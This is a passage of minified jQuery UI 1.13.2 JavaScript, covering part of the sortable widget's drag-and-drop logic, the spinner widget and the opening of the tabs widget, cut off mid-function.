e,i,s,n,o=this.options;for(this.position=this._generatePosition(t),this.positionAbs=this._convertPositionTo("absolute"),this.options.axis&&"y"===this.options.axis||(this.helper[0].style.left=this.position.left+"px"),this.options.axis&&"x"===this.options.axis||(this.helper[0].style.top=this.position.top+"px"),o.scroll&&!1!==this._scroll(t)&&(this._refreshItemPositions(!0),V.ui.ddmanager&&!o.dropBehaviour&&V.ui.ddmanager.prepareOffsets(this,t)),this.dragDirection={vertical:this._getDragVerticalDirection(),horizontal:this._getDragHorizontalDirection()},e=this.items.length-1;0<=e;e--)if(s=(i=this.items[e]).item[0],(n=this._intersectsWithPointer(i))&&i.instance===this.currentContainer&&!(s===this.currentItem[0]||this.placeholder[1===n?"next":"prev"]()[0]===s||V.contains(this.placeholder[0],s)||"semi-dynamic"===this.options.type&&V.contains(this.element[0],s))){if(this.direction=1===n?"down":"up","pointer"!==this.options.tolerance&&!this._intersectsWithSides(i))break;this._rearrange(t,i),this._trigger("change",t,this._uiHash());break}return this._contactContainers(t),V.ui.ddmanager&&V.ui.ddmanager.drag(this,t),this._trigger("sort",t,this._uiHash()),this.lastPositionAbs=this.positionAbs,!1},_mouseStop:function(t,e){var i,s,n,o;if(t)return V.ui.ddmanager&&!this.options.dropBehaviour&&V.ui.ddmanager.drop(this,t),this.options.revert?(s=(i=this).placeholder.offset(),o={},(n=this.options.axis)&&"x"!==n||(o.left=s.left-this.offset.parent.left-this.margins.left+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollLeft)),n&&"y"!==n||(o.top=s.top-this.offset.parent.top-this.margins.top+(this.offsetParent[0]===this.document[0].body?0:this.offsetParent[0].scrollTop)),this.reverting=!0,V(this.helper).animate(o,parseInt(this.options.revert,10)||500,function(){i._clear(t)})):this._clear(t,e),!1},cancel:function(){if(this.dragging){this._mouseUp(new V.Event("mouseup",{target:null})),"original"===this.options.helper?(this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")):this.currentItem.show();for(var t=this.containers.length-1;0<=t;t--)this.containers[t]._trigger("deactivate",null,this._uiHash(this)),this.containers[t].containerCache.over&&(this.containers[t]._trigger("out",null,this._uiHash(this)),this.containers[t].containerCache.over=0)}return this.placeholder&&(this.placeholder[0].parentNode&&this.placeholder[0].parentNode.removeChild(this.placeholder[0]),"original"!==this.options.helper&&this.helper&&this.helper[0].parentNode&&this.helper.remove(),V.extend(this,{helper:null,dragging:!1,reverting:!1,_noFinalSort:null}),this.domPosition.prev?V(this.domPosition.prev).after(this.currentItem):V(this.domPosition.parent).prepend(this.currentItem)),this},serialize:function(e){var t=this._getItemsAsjQuery(e&&e.connected),i=[];return e=e||{},V(t).each(function(){var t=(V(e.item||this).attr(e.attribute||"id")||"").match(e.expression||/(.+)[\-=_](.+)/);t&&i.push((e.key||t[1]+"[]")+"="+(e.key&&e.expression?t[1]:t[2]))}),!i.length&&e.key&&i.push(e.key+"="),i.join("&")},toArray:function(t){var e=this._getItemsAsjQuery(t&&t.connected),i=[];return t=t||{},e.each(function(){i.push(V(t.item||this).attr(t.attribute||"id")||"")}),i},_intersectsWith:function(t){var e=this.positionAbs.left,i=e+this.helperProportions.width,s=this.positionAbs.top,n=s+this.helperProportions.height,o=t.left,a=o+t.width,r=t.top,l=r+t.height,h=this.offset.click.top,c=this.offset.click.left,h="x"===this.options.axis||r<s+h&&s+h<l,c="y"===this.options.axis||o<e+c&&e+c<a;return"pointer"===this.options.tolerance||this.options.forcePointerForContainers||"pointer"!==this.options.tolerance&&this.helperProportions[this.floating?"width":"height"]>t[this.floating?"width":"height"]?h&&c:o<e+this.helperProportions.width/2&&i-this.helperProportions.width/2<a&&r<s+this.helperProportions.height/2&&n-this.helperProportions.height/2<l},_intersectsWithPointer:function(t){var e="x"===this.options.axis||this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top,t.height),t="y"===this.options.axis||this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left,t.width);return!(!e||!t)&&(e=this.dragDirection.vertical,t=this.dragDirection.horizontal,this.floating?"right"===t||"down"===e?2:1:e&&("down"===e?2:1))},_intersectsWithSides:function(t){var e=this._isOverAxis(this.positionAbs.top+this.offset.click.top,t.top+t.height/2,t.height),i=this._isOverAxis(this.positionAbs.left+this.offset.click.left,t.left+t.width/2,t.width),s=this.dragDirection.vertical,t=this.dragDirection.horizontal;return this.floating&&t?"right"===t&&i||"left"===t&&!i:s&&("down"===s&&e||"up"===s&&!e)},_getDragVerticalDirection:function(){var t=this.positionAbs.top-this.lastPositionAbs.top;return 0!=t&&(0<t?"down":"up")},_getDragHorizontalDirection:function(){var t=this.positionAbs.left-this.lastPositionAbs.left;return 0!=t&&(0<t?"right":"left")},refresh:function(t){return this._refreshItems(t),this._setHandleClassName(),this.refreshPositions(),this},_connectWith:function(){var t=this.options;return t.connectWith.constructor===String?[t.connectWith]:t.connectWith},_getItemsAsjQuery:function(t){var e,i,s,n,o=[],a=[],r=this._connectWith();if(r&&t)for(e=r.length-1;0<=e;e--)for(i=(s=V(r[e],this.document[0])).length-1;0<=i;i--)(n=V.data(s[i],this.widgetFullName))&&n!==this&&!n.options.disabled&&a.push(["function"==typeof n.options.items?n.options.items.call(n.element):V(n.options.items,n.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),n]);function l(){o.push(this)}for(a.push(["function"==typeof this.options.items?this.options.items.call(this.element,null,{options:this.options,item:this.currentItem}):V(this.options.items,this.element).not(".ui-sortable-helper").not(".ui-sortable-placeholder"),this]),e=a.length-1;0<=e;e--)a[e][0].each(l);return V(o)},_removeCurrentsFromItems:function(){var i=this.currentItem.find(":data("+this.widgetName+"-item)");this.items=V.grep(this.items,function(t){for(var e=0;e<i.length;e++)if(i[e]===t.item[0])return!1;return!0})},_refreshItems:function(t){this.items=[],this.containers=[this];var e,i,s,n,o,a,r,l,h=this.items,c=[["function"==typeof this.options.items?this.options.items.call(this.element[0],t,{item:this.currentItem}):V(this.options.items,this.element),this]],u=this._connectWith();if(u&&this.ready)for(e=u.length-1;0<=e;e--)for(i=(s=V(u[e],this.document[0])).length-1;0<=i;i--)(n=V.data(s[i],this.widgetFullName))&&n!==this&&!n.options.disabled&&(c.push(["function"==typeof n.options.items?n.options.items.call(n.element[0],t,{item:this.currentItem}):V(n.options.items,n.element),n]),this.containers.push(n));for(e=c.length-1;0<=e;e--)for(o=c[e][1],l=(a=c[e][i=0]).length;i<l;i++)(r=V(a[i])).data(this.widgetName+"-item",o),h.push({item:r,instance:o,width:0,height:0,left:0,top:0})},_refreshItemPositions:function(t){for(var e,i,s=this.items.length-1;0<=s;s--)e=this.items[s],this.currentContainer&&e.instance!==this.currentContainer&&e.item[0]!==this.currentItem[0]||(i=this.options.toleranceElement?V(this.options.toleranceElement,e.item):e.item,t||(e.width=i.outerWidth(),e.height=i.outerHeight()),i=i.offset(),e.left=i.left,e.top=i.top)},refreshPositions:function(t){var e,i;if(this.floating=!!this.items.length&&("x"===this.options.axis||this._isFloating(this.items[0].item)),this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset()),this._refreshItemPositions(t),this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(e=this.containers.length-1;0<=e;e--)i=this.containers[e].element.offset(),this.containers[e].containerCache.left=i.left,this.containers[e].containerCache.top=i.top,this.containers[e].containerCache.width=this.containers[e].element.outerWidth(),this.containers[e].containerCache.height=this.containers[e].element.outerHeight();return this},_createPlaceholder:function(i){var s,n,o=(i=i||this).options;o.placeholder&&o.placeholder.constructor!==String||(s=o.placeholder,n=i.currentItem[0].nodeName.toLowerCase(),o.placeholder={element:function(){var t=V("<"+n+">",i.document[0]);return i._addClass(t,"ui-sortable-placeholder",s||i.currentItem[0].className)._removeClass(t,"ui-sortable-helper"),"tbody"===n?i._createTrPlaceholder(i.currentItem.find("tr").eq(0),V("<tr>",i.document[0]).appendTo(t)):"tr"===n?i._createTrPlaceholder(i.currentItem,t):"img"===n&&t.attr("src",i.currentItem.attr("src")),s||t.css("visibility","hidden"),t},update:function(t,e){s&&!o.forcePlaceholderSize||(e.height()&&(!o.forcePlaceholderSize||"tbody"!==n&&"tr"!==n)||e.height(i.currentItem.innerHeight()-parseInt(i.currentItem.css("paddingTop")||0,10)-parseInt(i.currentItem.css("paddingBottom")||0,10)),e.width()||e.width(i.currentItem.innerWidth()-parseInt(i.currentItem.css("paddingLeft")||0,10)-parseInt(i.currentItem.css("paddingRight")||0,10)))}}),i.placeholder=V(o.placeholder.element.call(i.element,i.currentItem)),i.currentItem.after(i.placeholder),o.placeholder.update(i,i.placeholder)},_createTrPlaceholder:function(t,e){var i=this;t.children().each(function(){V("<td> </td>",i.document[0]).attr("colspan",V(this).attr("colspan")||1).appendTo(e)})},_contactContainers:function(t){for(var e,i,s,n,o,a,r,l,h,c=null,u=null,d=this.containers.length-1;0<=d;d--)V.contains(this.currentItem[0],this.containers[d].element[0])||(this._intersectsWith(this.containers[d].containerCache)?c&&V.contains(this.containers[d].element[0],c.element[0])||(c=this.containers[d],u=d):this.containers[d].containerCache.over&&(this.containers[d]._trigger("out",t,this._uiHash(this)),this.containers[d].containerCache.over=0));if(c)if(1===this.containers.length)this.containers[u].containerCache.over||(this.containers[u]._trigger("over",t,this._uiHash(this)),this.containers[u].containerCache.over=1);else{for(i=1e4,s=null,n=(l=c.floating||this._isFloating(this.currentItem))?"left":"top",o=l?"width":"height",h=l?"pageX":"pageY",e=this.items.length-1;0<=e;e--)V.contains(this.containers[u].element[0],this.items[e].item[0])&&this.items[e].item[0]!==this.currentItem[0]&&(a=this.items[e].item.offset()[n],r=!1,t[h]-a>this.items[e][o]/2&&(r=!0),Math.abs(t[h]-a)<i&&(i=Math.abs(t[h]-a),s=this.items[e],this.direction=r?"up":"down"));(s||this.options.dropOnEmpty)&&(this.currentContainer!==this.containers[u]?(s?this._rearrange(t,s,null,!0):this._rearrange(t,null,this.containers[u].element,!0),this._trigger("change",t,this._uiHash()),this.containers[u]._trigger("change",t,this._uiHash(this)),this.currentContainer=this.containers[u],this.options.placeholder.update(this.currentContainer,this.placeholder),this.scrollParent=this.placeholder.scrollParent(),this.scrollParent[0]!==this.document[0]&&"HTML"!==this.scrollParent[0].tagName&&(this.overflowOffset=this.scrollParent.offset()),this.containers[u]._trigger("over",t,this._uiHash(this)),this.containers[u].containerCache.over=1):this.currentContainer.containerCache.over||(this.containers[u]._trigger("over",t,this._uiHash()),this.currentContainer.containerCache.over=1))}},_createHelper:function(t){var e=this.options,t="function"==typeof e.helper?V(e.helper.apply(this.element[0],[t,this.currentItem])):"clone"===e.helper?this.currentItem.clone():this.currentItem;return t.parents("body").length||this.appendTo[0].appendChild(t[0]),t[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),t[0].style.width&&!e.forceHelperSize||t.width(this.currentItem.width()),t[0].style.height&&!e.forceHelperSize||t.height(this.currentItem.height()),t},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),"left"in(t=Array.isArray(t)?{left:+t[0],top:+t[1]||0}:t)&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var t=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==this.document[0]&&V.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),{top:(t=this.offsetParent[0]===this.document[0].body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&V.ui.ie?{top:0,left:0}:t).top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var t=this.currentItem.position();return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:t.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,e,i=this.options;"parent"===i.containment&&(i.containment=this.helper[0].parentNode),"document"!==i.containment&&"window"!==i.containment||(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,"document"===i.containment?this.document.width():this.window.width()-this.helperProportions.width-this.margins.left,("document"===i.containment?this.document.height()||document.body.parentNode.scrollHeight:this.window.height()||this.document[0].body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(i.containment)||(t=V(i.containment)[0],e=V(i.containment).offset(),i="hidden"!==V(t).css("overflow"),this.containment=[e.left+(parseInt(V(t).css("borderLeftWidth"),10)||0)+(parseInt(V(t).css("paddingLeft"),10)||0)-this.margins.left,e.top+(parseInt(V(t).css("borderTopWidth"),10)||0)+(parseInt(V(t).css("paddingTop"),10)||0)-this.margins.top,e.left+(i?Math.max(t.scrollWidth,t.offsetWidth):t.offsetWidth)-(parseInt(V(t).css("borderLeftWidth"),10)||0)-(parseInt(V(t).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,e.top+(i?Math.max(t.scrollHeight,t.offsetHeight):t.offsetHeight)-(parseInt(V(t).css("borderTopWidth"),10)||0)-(parseInt(V(t).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(t,e){e=e||this.position;var i="absolute"===t?1:-1,s="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&V.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,t=/(html|body)/i.test(s[0].tagName);return{top:e.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():t?0:s.scrollTop())*i,left:e.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():t?0:s.scrollLeft())*i}},_generatePosition:function(t){var e=this.options,i=t.pageX,s=t.pageY,n="absolute"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&V.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,o=/(html|body)/i.test(n[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==this.document[0]&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(t.pageX-this.offset.click.left<this.containment[0]&&(i=this.containment[0]+this.offset.click.left),t.pageY-this.offset.click.top<this.containment[1]&&(s=this.containment[1]+this.offset.click.top),t.pageX-this.offset.click.left>this.containment[2]&&(i=this.containment[2]+this.offset.click.left),t.pageY-this.offset.click.top>this.containment[3]&&(s=this.containment[3]+this.offset.click.top)),e.grid&&(t=this.originalPageY+Math.round((s-this.originalPageY)/e.grid[1])*e.grid[1],s=!this.containment||t-this.offset.click.top>=this.containment[1]&&t-this.offset.click.top<=this.containment[3]?t:t-this.offset.click.top>=this.containment[1]?t-e.grid[1]:t+e.grid[1],t=this.originalPageX+Math.round((i-this.originalPageX)/e.grid[0])*e.grid[0],i=!this.containment||t-this.offset.click.left>=this.containment[0]&&t-this.offset.click.left<=this.containment[2]?t:t-this.offset.click.left>=this.containment[0]?t-e.grid[0]:t+e.grid[0])),{top:s-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():o?0:n.scrollTop()),left:i-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():o?0:n.scrollLeft())}},_rearrange:function(t,e,i,s){i?i[0].appendChild(this.placeholder[0]):e.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?e.item[0]:e.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var n=this.counter;this._delay(function(){n===this.counter&&this.refreshPositions(!s)})},_clear:function(t,e){this.reverting=!1;var i,s=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(i in this._storedCSS)"auto"!==this._storedCSS[i]&&"static"!==this._storedCSS[i]||(this._storedCSS[i]="");this.currentItem.css(this._storedCSS),this._removeClass(this.currentItem,"ui-sortable-helper")}else this.currentItem.show();function n(e,i,s){return function(t){s._trigger(e,t,i._uiHash(i))}}for(this.fromOutside&&!e&&s.push(function(t){this._trigger("receive",t,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||e||s.push(function(t){this._trigger("update",t,this._uiHash())}),this!==this.currentContainer&&(e||(s.push(function(t){this._trigger("remove",t,this._uiHash())}),s.push(function(e){return function(t){e._trigger("receive",t,this._uiHash(this))}}.call(this,this.currentContainer)),s.push(function(e){return function(t){e._trigger("update",t,this._uiHash(this))}}.call(this,this.currentContainer)))),i=this.containers.length-1;0<=i;i--)e||s.push(n("deactivate",this,this.containers[i])),this.containers[i].containerCache.over&&(s.push(n("out",this,this.containers[i])),this.containers[i].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,e||this._trigger("beforeStop",t,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.cancelHelperRemoval||(this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null),!e){for(i=0;i<s.length;i++)s[i].call(this,t);this._trigger("stop",t,this._uiHash())}return this.fromOutside=!1,!this.cancelHelperRemoval},_trigger:function(){!1===V.Widget.prototype._trigger.apply(this,arguments)&&this.cancel()},_uiHash:function(t){var e=t||this;return{helper:e.helper,placeholder:e.placeholder||V([]),position:e.position,originalPosition:e.originalPosition,offset:e.positionAbs,item:e.currentItem,sender:t?t.element:null}}});function ht(e){return function(){var t=this.element.val();e.apply(this,arguments),this._refresh(),t!==this.element.val()&&this._trigger("change")}}V.widget("ui.spinner",{version:"1.13.2",defaultElement:"<input>",widgetEventPrefix:"spin",options:{classes:{"ui-spinner":"ui-corner-all","ui-spinner-down":"ui-corner-br","ui-spinner-up":"ui-corner-tr"},culture:null,icons:{down:"ui-icon-triangle-1-s",up:"ui-icon-triangle-1-n"},incremental:!0,max:null,min:null,numberFormat:null,page:10,step:1,change:null,spin:null,start:null,stop:null},_create:function(){this._setOption("max",this.options.max),this._setOption("min",this.options.min),this._setOption("step",this.options.step),""!==this.value()&&this._value(this.element.val(),!0),this._draw(),this._on(this._events),this._refresh(),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_getCreateOptions:function(){var s=this._super(),n=this.element;return V.each(["min","max","step"],function(t,e){var i=n.attr(e);null!=i&&i.length&&(s[e]=i)}),s},_events:{keydown:function(t){this._start(t)&&this._keydown(t)&&t.preventDefault()},keyup:"_stop",focus:function(){this.previous=this.element.val()},blur:function(t){this.cancelBlur?delete this.cancelBlur:(this._stop(),this._refresh(),this.previous!==this.element.val()&&this._trigger("change",t))},mousewheel:function(t,e){var i=V.ui.safeActiveElement(this.document[0]);if(this.element[0]===i&&e){if(!this.spinning&&!this._start(t))return!1;this._spin((0<e?1:-1)*this.options.step,t),clearTimeout(this.mousewheelTimer),this.mousewheelTimer=this._delay(function(){this.spinning&&this._stop(t)},100),t.preventDefault()}},"mousedown .ui-spinner-button":function(t){var e;function i(){this.element[0]===V.ui.safeActiveElement(this.document[0])||(this.element.trigger("focus"),this.previous=e,this._delay(function(){this.previous=e}))}e=this.element[0]===V.ui.safeActiveElement(this.document[0])?this.previous:this.element.val(),t.preventDefault(),i.call(this),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur,i.call(this)}),!1!==this._start(t)&&this._repeat(null,V(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseup .ui-spinner-button":"_stop","mouseenter .ui-spinner-button":function(t){if(V(t.currentTarget).hasClass("ui-state-active"))return!1!==this._start(t)&&void this._repeat(null,V(t.currentTarget).hasClass("ui-spinner-up")?1:-1,t)},"mouseleave .ui-spinner-button":"_stop"},_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap("<span>").parent().append("<a></a><a></a>")},_draw:function(){this._enhance(),this._addClass(this.uiSpinner,"ui-spinner","ui-widget ui-widget-content"),this._addClass("ui-spinner-input"),this.element.attr("role","spinbutton"),this.buttons=this.uiSpinner.children("a").attr("tabIndex",-1).attr("aria-hidden",!0).button({classes:{"ui-button":""}}),this._removeClass(this.buttons,"ui-corner-all"),this._addClass(this.buttons.first(),"ui-spinner-button ui-spinner-up"),this._addClass(this.buttons.last(),"ui-spinner-button ui-spinner-down"),this.buttons.first().button({icon:this.options.icons.up,showLabel:!1}),this.buttons.last().button({icon:this.options.icons.down,showLabel:!1}),this.buttons.height()>Math.ceil(.5*this.uiSpinner.height())&&0<this.uiSpinner.height()&&this.uiSpinner.height(this.uiSpinner.height())},_keydown:function(t){var e=this.options,i=V.ui.keyCode;switch(t.keyCode){case i.UP:return this._repeat(null,1,t),!0;case i.DOWN:return this._repeat(null,-1,t),!0;case i.PAGE_UP:return this._repeat(null,e.page,t),!0;case i.PAGE_DOWN:return this._repeat(null,-e.page,t),!0}return!1},_start:function(t){return!(!this.spinning&&!1===this._trigger("start",t))&&(this.counter||(this.counter=1),this.spinning=!0)},_repeat:function(t,e,i){t=t||500,clearTimeout(this.timer),this.timer=this._delay(function(){this._repeat(40,e,i)},t),this._spin(e*this.options.step,i)},_spin:function(t,e){var i=this.value()||0;this.counter||(this.counter=1),i=this._adjustValue(i+t*this._increment(this.counter)),this.spinning&&!1===this._trigger("spin",e,{value:i})||(this._value(i),this.counter++)},_increment:function(t){var e=this.options.incremental;return e?"function"==typeof e?e(t):Math.floor(t*t*t/5e4-t*t/500+17*t/200+1):1},_precision:function(){var t=this._precisionOf(this.options.step);return t=null!==this.options.min?Math.max(t,this._precisionOf(this.options.min)):t},_precisionOf:function(t){var e=t.toString(),t=e.indexOf(".");return-1===t?0:e.length-t-1},_adjustValue:function(t){var e=this.options,i=null!==e.min?e.min:0,s=t-i;return t=i+Math.round(s/e.step)*e.step,t=parseFloat(t.toFixed(this._precision())),null!==e.max&&t>e.max?e.max:null!==e.min&&t<e.min?e.min:t},_stop:function(t){this.spinning&&(clearTimeout(this.timer),clearTimeout(this.mousewheelTimer),this.counter=0,this.spinning=!1,this._trigger("stop",t))},_setOption:function(t,e){var i;if("culture"===t||"numberFormat"===t)return i=this._parse(this.element.val()),this.options[t]=e,void this.element.val(this._format(i));"max"!==t&&"min"!==t&&"step"!==t||"string"==typeof e&&(e=this._parse(e)),"icons"===t&&(i=this.buttons.first().find(".ui-icon"),this._removeClass(i,null,this.options.icons.up),this._addClass(i,null,e.up),i=this.buttons.last().find(".ui-icon"),this._removeClass(i,null,this.options.icons.down),this._addClass(i,null,e.down)),this._super(t,e)},_setOptionDisabled:function(t){this._super(t),this._toggleClass(this.uiSpinner,null,"ui-state-disabled",!!t),this.element.prop("disabled",!!t),this.buttons.button(t?"disable":"enable")},_setOptions:ht(function(t){this._super(t)}),_parse:function(t){return""===(t="string"==typeof t&&""!==t?window.Globalize&&this.options.numberFormat?Globalize.parseFloat(t,10,this.options.culture):+t:t)||isNaN(t)?null:t},_format:function(t){return""===t?"":window.Globalize&&this.options.numberFormat?Globalize.format(t,this.options.numberFormat,this.options.culture):t},_refresh:function(){this.element.attr({"aria-valuemin":this.options.min,"aria-valuemax":this.options.max,"aria-valuenow":this._parse(this.element.val())})},isValid:function(){var t=this.value();return null!==t&&t===this._adjustValue(t)},_value:function(t,e){var i;""!==t&&null!==(i=this._parse(t))&&(e||(i=this._adjustValue(i)),t=this._format(i)),this.element.val(t),this._refresh()},_destroy:function(){this.element.prop("disabled",!1).removeAttr("autocomplete role aria-valuemin aria-valuemax aria-valuenow"),this.uiSpinner.replaceWith(this.element)},stepUp:ht(function(t){this._stepUp(t)}),_stepUp:function(t){this._start()&&(this._spin((t||1)*this.options.step),this._stop())},stepDown:ht(function(t){this._stepDown(t)}),_stepDown:function(t){this._start()&&(this._spin((t||1)*-this.options.step),this._stop())},pageUp:ht(function(t){this._stepUp((t||1)*this.options.page)}),pageDown:ht(function(t){this._stepDown((t||1)*this.options.page)}),value:function(t){if(!arguments.length)return this._parse(this.element.val());ht(this._value).call(this,t)},widget:function(){return this.uiSpinner}}),!1!==V.uiBackCompat&&V.widget("ui.spinner",V.ui.spinner,{_enhance:function(){this.uiSpinner=this.element.attr("autocomplete","off").wrap(this._uiSpinnerHtml()).parent().append(this._buttonHtml())},_uiSpinnerHtml:function(){return"<span>"},_buttonHtml:function(){return"<a></a><a></a>"}});var ct;V.ui.spinner;V.widget("ui.tabs",{version:"1.13.2",delay:300,options:{active:null,classes:{"ui-tabs":"ui-corner-all","ui-tabs-nav":"ui-corner-all","ui-tabs-panel":"ui-corner-bottom","ui-tabs-tab":"ui-corner-top"},collapsible:!1,event:"click",heightStyle:"content",hide:null,show:null,activate:null,beforeActivate:null,beforeLoad:null,load:null},_isLocal:(ct=/#.*$/,function(t){var e=t.href.replace(ct,""),i=location.href.replace(ct,"");try{e=decodeURIComponent(e)}catch(t){}try{i=decodeURIComponent(i)}catch(t){}return 1<t.hash.length&&e===i}),_create:function(){var e=this,t=this.options;this.running=!1,this._addClass("ui-tabs","ui-widget ui-widget-content"),this._toggleClass("ui-tabs-collapsible",null,t.collapsible),this._processTabs(),t.active=this._initialActive(),Array.isArray(t.disabled)&&(t.disabled=V.uniqueSort(t.disabled.concat(V.map(this.tabs.filter(".ui-state-disabled"),function(t){return e.tabs.index(t)}))).sort()),!1!==this.options.active&&this.anchors.length?this.active=this._findActive(t.active):this.active=V(),this._refresh(),this.active.length&&this.load(t.active)},_initialActive:function(){var i=this.options.active,t=this.options.collapsible,s=location.hash.substring(1);return null===i&&(s&&this.tabs.each(function(t,e){if(V(e).attr("aria-controls")===s)return i=t,!1}),null!==(i=null===i?this.tabs.index(this.tabs.filter(".ui-tabs-active")):i)&&-1!==i||(i=!!this.tabs.length&&0)),!1!==i&&-1===(i=this.tabs.index(this.tabs.eq(i)))&&(i=!t&&0),i=!t&&!1===i&&this.anchors.length?0:i},_getCreateEventData:function(){return{tab:this.active,panel:this.active.length?this._getPanelForTab(this.active):V()}},_tabKeydown:function(t){var e=V(V.ui.safeActiveElement(this.document[0])).closest("li"),i=this.tabs.index(e),s=!0;if(!this._handlePageNav(t)){switch(t.keyCode){case V.ui.keyCode.RIGHT:case V.ui.keyCode.DOWN:i++;break;case V.ui.keyCode.UP:case V.ui.keyCode.LEFT:s=!1,i--;break;case V.ui.keyCode.END:i=this.anchors.length-1;break;case V.ui.keyCode.HOME:i=0;break;case V.ui.keyCode.SPACE:return t.preventDefault(),clearTimeout(this.activating),void this._activate(i);case V.ui.keyCode.ENTER:return t.preventDefault(),clearTimeout(this.activating),void this._activate(i!==this.options.active&&i);default:return}t.preventDefault(),clearTimeout(this.activating),i=this._focusNextTab(i,s),t.ctrlKey||t.metaKey||(e.attr("aria-selected","false"),this.tabs.eq(i).attr("aria-selected","true"),this.activating=this._delay(function(){this.option("active",i)},this.delay))}},_panelKeydown:function(t){this._handlePageNav(t)||t.ctrlKey&&t.keyCode===V.ui.keyCode.UP&&(t.preventDefault(),this.active.trigger("focus"))},_handlePageNav:function(t){return t.altKey&&t.keyCode===V.ui.keyCode.PAGE_UP?(this._activate(this._focusNextTab(this.options.active-1,!1)),!0):t.altKey&&t.keyCode===V.ui.keyCode.PAGE_DOWN?(this._activate(this._focusNextTab(this.options.active+1,!0)),!0):void 0},_findNextTab:function(t,e){var i=this.tabs.length-1;for(;-1!==V.inArray(t=(t=i<t?0:t)<0?i:t,this.options.disabled);)t=e?t+1:t-1;return t},_focusNextTab:function(t,e){return t=this._findNextTab(t,e),this.tabs.eq(t).trigger("focus"),t},_setOption:function(t,e){"active"!==t?(this._super(t,e),"collapsible"===t&&(this._toggleClass("ui-tabs-collapsible",null,e),e||!1!==this.options.active||this._activate(0)),"event"===t&&this._setupEvents(e),"heightStyle"===t&&this._setupHeightStyle(e)):this._activate(e)},_sanitizeSelector:function(t){return t?t.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g,"\\$&"):""},refresh:function(){var t=this.options,e=this.tablist.children(":has(a[href])");t.disabled=V.map(e.filter(".ui-state-disabled"),function(t){return 